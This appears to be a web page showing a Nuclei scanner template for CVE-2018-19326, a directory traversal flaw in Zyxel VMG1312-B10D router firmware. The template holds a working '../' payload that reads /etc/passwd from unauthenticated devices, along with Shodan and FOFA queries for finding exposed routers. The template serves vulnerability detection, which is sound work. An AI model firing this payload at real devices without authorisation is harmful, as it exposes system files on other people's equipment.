Zyxel VMG1312-B10D 5.13AAXA.8 - Local File Inclusion

ID: CVE-2018-19326

Severity: high

Author: 0x_Akoko

Tags: cve2018,cve,lfi,modem,router,edb,zyxel

Description

Zyxel VMG1312-B10D 5.13AAXA.8 is susceptible to local file inclusion. A remote unauthenticated attacker can send a specially crafted URL request containing “dot dot” sequences (/../), conduct directory traversal attacks, and view arbitrary files.

YAML Source

id: CVE-2018-19326

info:
  name: Zyxel VMG1312-B10D 5.13AAXA.8 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Zyxel VMG1312-B10D 5.13AAXA.8 is susceptible to local file inclusion. A remote unauthenticated attacker can send a specially crafted URL request containing "dot dot" sequences (/../), conduct directory traversal attacks, and view arbitrary files.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read sensitive files on the target system.
  remediation: |
    Apply the latest firmware update provided by Zyxel to fix the Local File Inclusion vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/45904
    - https://www.cybersecurity-help.cz/vdb/SB2018120309
    - https://www.zyxel.com/homepage.shtml
    - https://gist.github.com/numanturle/4988b5583e5ebe501059bd368636de33
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19326
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-19326
    cwe-id: CWE-22
    epss-score: 0.00845
    epss-percentile: 0.82119
    cpe: cpe:2.3:o:zyxel:vmg1312-b10d_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zyxel
    product: vmg1312-b10d_firmware
    shodan-query:
      - http.html:"VMG1312-B10D"
      - http.html:"vmg1312-b10d"
    fofa-query: body="vmg1312-b10d"
  tags: cve2018,cve,lfi,modem,router,edb,zyxel

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 4a0a00473045022100bf30c72ebb257ce8fff544243fa19efbb5d26d2a82fc3f6fc9cbff70d3fb45d3022043f153a457eaa19d727b2408bf64fe7b716bd082d6602e7e0b8c12d879befefd:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-19326.yaml"

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